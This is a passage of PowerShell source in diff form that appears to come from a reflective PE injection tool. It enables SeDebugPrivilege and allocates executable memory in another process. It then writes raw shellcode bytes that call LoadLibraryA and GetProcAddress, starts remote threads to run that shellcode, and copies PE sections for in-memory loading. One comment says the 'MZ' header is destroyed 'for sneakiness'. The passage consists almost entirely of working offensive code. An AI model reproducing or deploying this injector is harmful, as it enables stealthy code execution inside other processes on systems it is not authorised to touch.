$True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Create-RemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [IntPtr] + $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing) + + [Parameter(Position=3, Mandatory=$true)] + [Bool] + $LoadByOrdinal + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal + #If not loading by ordinal, write the function name to the remote process memory + if (-not $LoadByOrdinal) + { + $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + } + #If loading by ordinal, just set RFuncNamePtr to be the ordinal number + else + { + $RFuncNamePtr = $FunctionNamePtr + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + #Cleanup remote process memory + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + if (-not $LoadByOrdinal) + { + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + 